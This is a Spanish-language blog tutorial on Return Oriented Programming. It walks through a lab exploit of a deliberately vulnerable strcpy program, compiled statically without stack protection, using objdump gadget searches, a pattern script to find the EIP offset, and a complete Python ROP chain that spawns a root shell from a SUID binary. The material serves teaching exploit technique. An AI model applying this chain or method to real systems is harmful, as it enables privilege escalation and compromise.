Evitando la protección de ejecución en la pila con ROP (Return Oriented Programming)

En un artículo anterior ya hice una introducción a la explotación de vulnerabilidades por buffer overflow. Durante mucho tiempo, este tipo de ataques era muy común pero, afortunadamente, cada vez es más difícil explotar este tipo de vulnerabilidades gracias a mejoras como NX (también conocido como DEP o PAX). Básicamente consiste en evitar que se pueda ejecutar código dentro del marco de la pila.
Entonces problema solucionado -estarás pensando. Pues no.



Cuatro investigadores de la Universidad de California publicaron un artículo llamado Return-Oriented Programming: Systems, Languages and Applications donde mostraban un método para saltarse esta protección. A grandes rasgos, consiste en ejecutar fragmentos de código que ya existen en el propio código del programa, por lo que ya no es necesario inyectar código propio.
Trataré de describir someramente la técnica y hacer un ejemplo de aplicación de la misma, aunque te aconsejo que leas el paper original donde está todo bien explicado.

Es necesario obtener fragmentos de código pequeños terminados en una instrucción ret, idealmente con una sóla instrucción en ensamblador (además del ret), dentro del programa que se quiere explotar. Estos pequeños fragmentos de código se llaman gadgets. Con estos fragmentos debemos ser capaces, a modo de Lego, de forma el código de explotación o shellcode.
Una vez obtenidos estos fragmentos y ordenados adecuadamente hemos de poder ejecutarlos en el orden establecido. ¿Cómo lo hacemos?
Que estos gatgets acaben con la instrucción ret no es casual. El método consiste en introducir la dirección de los gagets en la pila con el orden de ejecución correcto para que al salir de la función en ejecución, y restablecida la dirección de retorno en %eip, estos gatgets sean invocados uno tras otro en el orden adecuado.


Si no te ha quedado del todo claro, vamos a hacer un ejemplo sencillo de aplicación de la técnica Return Oriented Programming o ROP.

Vamos a tratar de explotar el siguiente programa.

#include <stdio.h>
#include <string.h>

void saluda(char * texto) {
    char nombre[250];

    strcpy(nombre, texto);
    printf("Hola %s\n", nombre);  
}


int main(int argc, char **argv) { 
    if (argc == 2) {
        saluda(argv[1]);
    } else { 
        printf("Este programa acepta exactamente un argumento.\n");
    }

    return 0;
}


Lo compilamos con

gcc -o saludo saludo.c -fno-stack-protector -static

Hemos añadido el parámetro -static para que se enlace estáticamente el código de las librerías y así facilitarnos el encontrar gadgets suficientes, ya que nuestro programa es muy corto. En un programa normal con una extensión media, no es necesario que esté compilado estáticamente.

A partir de aquí se puede decir que es más un arte que una técnica, ya que necesitamos identificar porciones de código que nos permitan ensamblar nuestro shellcode.
Analicemos cuál es nuestro objetivo:
Vamos a tratar de conseguir una shell de root (suponiendo que nuestro programa se ejecuta con privilegios de administrador), así que queremos ejecutar:
execve("/bin//sh", NULL, NULL);

Para ello tenemos que hacer una llamada al sistema con int 0x80 y los siguientes valores en los registros:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0

Podemos situar la cadena "/bin/sh" en la sección .data o .bss del ejecutable. En este caso usaré la sección .data. Obtenemos la dirección:

alberto@vmubuntu:~/temp/rop$ objdump -s -j .data ./saludo

./saludo:     file format elf32-i386

Contents of section .data:
80ef060 00000000 00000000 00080000 60030f08  ............`...
80ef070 00000000 00000000 00000000 00000000  ................
80ef080 a0f00e08 00000000 00000000 00000000  ................
…


Es decir, la dirección de la sección .data está en 0x080ef060.

Necesitaremos poder almacenar valores anteriormente mencionados en los registros. Usamos objdump de nuevo para volcar el código ensamblador a un archivo y poder hacer búsquedas:

objdump -D ./saludo > saludo.asm

Buscamos código que nos permita obtener datos de la pila y almacenarlos en los registros. Normalmente encontraremos varios gadgets candidatos, así que elegimos uno.

cat ./saludo.asm | grep -E 'pop\s*%eax' -A2 | grep ret -B2
80e3cf5: 58                    pop    %eax
80e3cf6: c3                    ret    

cat ./saludo.asm | grep -E 'pop\s*%ebx' -A2 | grep ret -B2
80c5920: 5b                    pop    %ebx
80c5921: c3                    ret

cat ./saludo.asm | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
805b3d1: 59                    pop    %ecx
805b3d2: 5b                    pop    %ebx
805b3d3: c3                    ret

cat ./saludo.asm | grep -E 'pop\s*%edx' -A2 | grep ret -B2
805b3aa: 5a                    pop    %edx
805b3ab: c3                    ret 


No hemos podido encontrar un gadget con pop %ecx sólo. Nos tendremos que conformar con lo que tenemos. Luego veremos como lidiar con esta situación.

Por otra parte, hay que introducir el valor 0xb en %eax. Podría darse el caso de que existiera una instrucción mov 0xb, %eax pero en este caso no hemos tenido suerte, así que la manera de poner este valor en el registro es tratar de encontrar una instrucción inc %eax y ejecutarla 0xb veces (partiendo de %eax=0).

cat ./saludo.asm | grep -E 'inc\s*%eax' -A2 | grep ret -B2
80525dc: 40                    inc    %eax
80525dd: 5f                    pop    %edi
80525de: c3                    ret 


En algún momento también hay que poner los registros %ecx y %edx a cero. No podemos usar mov 0, %ecx porque el valor 0 se interpretaría como fin del string en la cadena del shellcode, así que no podríamos pasarlo al programa como parámetro de línea de comando. Hay que usar xor. Por desgracia no encontramos ningún xor %ecx, %ecx ni xor %edx, %edx. Sí que encontramos un xor %eax, %eax, así que nos tendremos que apañar con esto.

cat ./saludo.asm | grep -E 'xor\s*%eax,%eax' -A2 | grep ret -B2
804add0: 31 c0                 xor    %eax,%eax
804add2: c3                    ret 



Para poder pasar ese valor 0 a %ecx y %edx necesitamos un mov. Encontramos varios.

cat ./saludo.asm | grep -E 'mov\s*%eax,\(%e[cd]x\)' -A2 | grep ret -B2
Tenemos un mov con %ecx:
804b57a: 89 01                 mov    %eax,(%ecx)
804b57c: c3                    ret 


Este nos puede valer, pero mejor nos quedamos con el mov %eax, %edx siguiente, porque ya habíamos encontrado un pop %edx directo de una sola instrucción, mientras que no disponemos de un pop %ecx solo (tiene el pop %ebx acompañándolo, lo que causaría más efectos laterales).

808e95d: 89 02                 mov    %eax,(%edx)
808e95f: c3                    ret


Finalmente, necesitaremos una llamada a la interrupción 0x80 para hacer la llamada al sistema.

cat ./saludo.asm | grep -E 'int\s*\$0x80' -A2 | grep ret -B2
805bba0: cd 80                 int    $0x80
805bba2: c3                    ret


Ya tenemos todas las piezas. Ahora hay que construir el exploit, pero antes habrá que calcular el número de caracteres que hay que inyectar en el shellcode para controlar el registro %eip.
En esta ocasión, el buffer es bastante mayor que el ejemplo que usamos en el anterior artículo, así que vamos a valernos de un pequeño script python para generar una cadena larga que nos ayude a localizar el offset exacto de %eip.
Lo llamaremos gen_pattern.py.

#!/usr/bin/python

out=''
for i in range(ord('0'), ord('9')+1):
    for j in range(ord('a'), ord('z')+1):
        out=out+chr(i)+chr(j)

print out


Este script genera una cadena de la forma '0a0b0c...' lo que nos ayuda a localizar el offset de %eip fácilmente.

Probamos si hay coredump.

./saludo `./gen_pattern.py`

Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2
...
Violación de segmento (`core' generado)


Examinamos archivo core:

alberto@vmubuntu:~/temp/rop$ ./saludo `./gen_pattern.py`
Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2e2f2g2h2i2j2k2l2m2n2o2p2q2r2s2t2u2v2w2x2y2z3a3b3c3d3e3f3g3h3i3j3k3l3m3n3o3p3q3r3s3t3u3v3w3x3y3z4a4b4c4d4e4f4g4h4i4j4k4l4m4n4o4p4q4r4s4t4u4v4w4x4y4z5a5b5c5d5e5f5g5h5i5j5k5l5m5n5o5p5q5r5s5t5u5v5w5x5y5z6a6b6c6d6e6f6g6h6i6j6k6l6m6n6o6p6q6r6s6t6u6v6w6x6y6z7a7b7c7d7e7f7g7h7i7j7k7l7m7n7o7p7q7r7s7t7u7v7w7x7y7z8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z9a9b9c9d9e9f9g9h9i9j9k9l9m9n9o9p9q9r9s9t9u9v9w9x9y9z
Violación de segmento (`core' generado)
alberto@vmubuntu:~/temp/rop$ gdb -q -c core
[Nuevo LWP 4339]
El núcleo se generó por «./saludo 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i».
El programa terminó con la señal 11, Segmentation fault.
#0  0x08048f16 in ?? ()
(gdb) info reg
eax            0x20e 526
ecx            0x0 0
edx            0x0 0
ebx            0x0 0
esp            0xbffff12c 0xbffff12c
ebp            0x61357a34 0x61357a34
esi            0x0 0
edi            0x8049660 134518368
eip            0x8048f16 0x8048f16
eflags         0x10286 [ PF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


%eip no tiene valores con sentido (generados por gen_pattern.py) debido a la protección de ejecución de pila. necesitamos desactivarla.

sudo apt-get install execstack
execstack -s ./saludo


Volvemos a probar:

alberto@vmubuntu:~/temp/rop$ ./saludo `./gen_pattern.py`
Hola 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i1j1k1l1m1n1o1p1q1r1s1t1u1v1w1x1y1z2a2b2c2d2e2f2g2h2i2j2k2l2m2n2o2p2q2r2s2t2u2v2w2x2y2z3a3b3c3d3e3f3g3h3i3j3k3l3m3n3o3p3q3r3s3t3u3v3w3x3y3z4a4b4c4d4e4f4g4h4i4j4k4l4m4n4o4p4q4r4s4t4u4v4w4x4y4z5a5b5c5d5e5f5g5h5i5j5k5l5m5n5o5p5q5r5s5t5u5v5w5x5y5z6a6b6c6d6e6f6g6h6i6j6k6l6m6n6o6p6q6r6s6t6u6v6w6x6y6z7a7b7c7d7e7f7g7h7i7j7k7l7m7n7o7p7q7r7s7t7u7v7w7x7y7z8a8b8c8d8e8f8g8h8i8j8k8l8m8n8o8p8q8r8s8t8u8v8w8x8y8z9a9b9c9d9e9f9g9h9i9j9k9l9m9n9o9p9q9r9s9t9u9v9w9x9y9z
Violación de segmento (`core' generado)
alberto@vmubuntu:~/temp/rop$ gdb -q -c core
[Nuevo LWP 4743]
El núcleo se generó por «./saludo 0a0b0c0d0e0f0g0h0i0j0k0l0m0n0o0p0q0r0s0t0u0v0w0x0y0z1a1b1c1d1e1f1g1h1i».
El programa terminó con la señal 11, Segmentation fault.
#0  0x63356235 in ?? ()
(gdb) info reg
eax            0x20e 526
ecx            0x0 0
edx            0x0 0
ebx            0x0 0
esp            0xbffff130 0xbffff130
ebp            0x61357a34 0x61357a34
esi            0x0 0
edi            0x8049660 134518368
eip            0x63356235 0x63356235
eflags         0x10286 [ PF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


El valor de %eip es 0x63356235, es decir:
0x63 = 'c'
0x35 = '5'
0x62 = 'b'
0x35 = '5'

Por lo tanto, coincide con la cadena '5b5c', cuya posición puede calcularse fácilmente sabiendo que entre 'a0' y 'z0' hay 52 bytes de distancia (26 letras del alfabeto * 2) y que, como la secuencia empieza en 0a, habrá que multiplicar 5*52 para obtener la posición correspondiente a los bytes '5a' y sumar 2 para conocer la posición de '5b'. Es decir 5*52+2=262 (tendremos que escribir 262 caracteres antes del shellcode).

Ya estamos en disposición de construir nuestro shellcode, que quedaría así.

#!/usr/bin/python
from struct import pack

ex = 'A'*262
ex += pack('I',0x080e3cf5) # pop %eax
ex += '/bin'
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef060) # .data
ex += pack('I',0x0808e95d) # mov %eax, (%edx)
ex += pack('I',0x080e3cf5) # pop %eax
ex += '/sh#'
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef064) # .data + 4
ex += pack('I',0x0808e95d) # mov %eax, (%edx)
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef067) # .data + 7
ex += pack('I',0x0804add0) # xor %eax, %eax
ex += pack('I',0x0808e95d) # mov %eax, (%edx)
ex += pack('I',0x0805b3d1) # pop %ecx ; pop %ebx
ex += pack('I',0x080ef067) # .data + 7
ex += pack('I',0x080ef060) # .data
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef067) # .data + 7
ex += pack('I',0x0804add0) # xor %eax, %eax
for i in range(int("0xb",16)):
    ex += pack('I',0x080525dc) # inc %eax ; pop %edi
    ex += '####'

ex += pack('I',0x0805bba0) # int 0x80

print ex


Analicemos las diferentes partes del código.

ex = 'A'*262
ex += pack('I',0x080e3cf5) # pop %eax
ex += '/bin'
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef060) # .data
ex += pack('I',0x0808e95d) # mov %eax, (%edx)


En esta parte inyectamos los 262 bytes que necesitamos para controlar el registro %eip y seguidamente se almacena la cadena '/bin' en %eax (este registro es de 32bits, por lo que podemos almacenar hasta 4 bytes o caracteres). Al hacer pop %eax, se recoge el siguiente valor almacenado en la pila, que es precisamente '/bin'.
En %edx almacenamos de la misma manera la dirección de la sección .data en la que queremos poner la cadena '/bin/sh' y terminamos copiando el valor de %eax en la dirección a la que apunta %edx (.data).

ex += pack('I',0x080e3cf5) # pop %eax
ex += '/sh#'
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef064) # .data + 4
ex += pack('I',0x0808e95d) # mov %eax, (%edx)



Análogamente a como hicimos en el fragmento de código anterior, repetimos para poner en .data+4 la cadena '/sh#'. Hemos puesto un carácter de relleno # para que la cadena tenga exactamente 4 bytes.

ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef067) # .data + 7
ex += pack('I',0x0804add0) # xor %eax, %eax
ex += pack('I',0x0808e95d) # mov %eax, (%edx)


Hay que finalizar la cadena con un carácter nulo (0x0) que es el carácter de fin de cadena. Para ello obtenemos la dirección de .data+7 en %edx y ponemos a 0 %eax con xor %eax, %eax. Almacenamos este valor nulo en .data+7, con lo que .data contendrá la cadena '/bin/sh\0'.

Necesitamos almacenar los valores correctos para la llamada al sistema. Recordemos que los valores son los siguientes:
%eax = 0xb //llamada sys_execve
%ebx = Puntero a la cadena "/bin/sh"
%ecx = 0x0
%edx = 0x0

ex += pack('I',0x0805b3d1) # pop %ecx ; pop %ebx
ex += pack('I',0x080ef067) # .data + 7
ex += pack('I',0x080ef060) # .data
ex += pack('I',0x0805b3aa) # pop %edx
ex += pack('I',0x080ef067) # .data + 7


Como en .data+7 hay un carácter nulo (valor 0), aprovechamos para cargar este valor en los registros %ecx y %edx, con lo que conseguimos ponerlos a 0.
Aprovechando que el gadget de la dirección 0x0805b3d1 tiene dos instrucciones pop, una de ellas sobre %ebx, matamos dos pájaros de un tiro y podemos cargar en dicho registro el puntero a la cadena que hay en .data.

ex += pack('I',0x0804add0) # xor %eax, %eax
for i in range(int("0xb",16)):
    ex += pack('I',0x080525dc) # inc %eax ; pop %edi
    ex += '####'


Para poner el valor 0xb en %eax primero ponemos el registro a 0 y mediante un bucle que se repite 0xb veces vamos incrementando en uno su valor. De esta forma, al finalizar el bucle %eax contendrá el valor 0xb. Este gadget tiene una instrucción pop %edi no deseada, así que tendremos que lidiar con sus efectos laterales. Para compensar dicha instrucción pop hay que poner en la pila 4 bytes adicionales. En este caso almacenamos la cadena '####'.

Por último, hacemos la llamada a la interrupción para invocar la llamada al sistema.

ex += pack('I',0x0805bba0) # int 0x80


Es necesario hacerlo ejecutable.
chmod +x shellcode.py

Cambiamos el usuario del programa y damos los permisos necesarios para simular un programa tipo SUID.
sudo chown root:root ./saludo
sudo chmod 4777 ./saludo

Ahora probamos nuestro shellcode.

alberto@vmubuntu:~/temp/rop$ ./saludo `./shellcode.py`
Hola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin��/sh#����####�####�####�####�####�####�####�####�####�####�####��
# whoami
root


Acabamos de explotar la vulnerabilidad sin necesidad de ejecutar código en la pila. Mediante esta técnica es posible, pues, evitar las protecciones NX y en algunos casos la protección ASLR.


No hay comentarios:

Publicar un comentario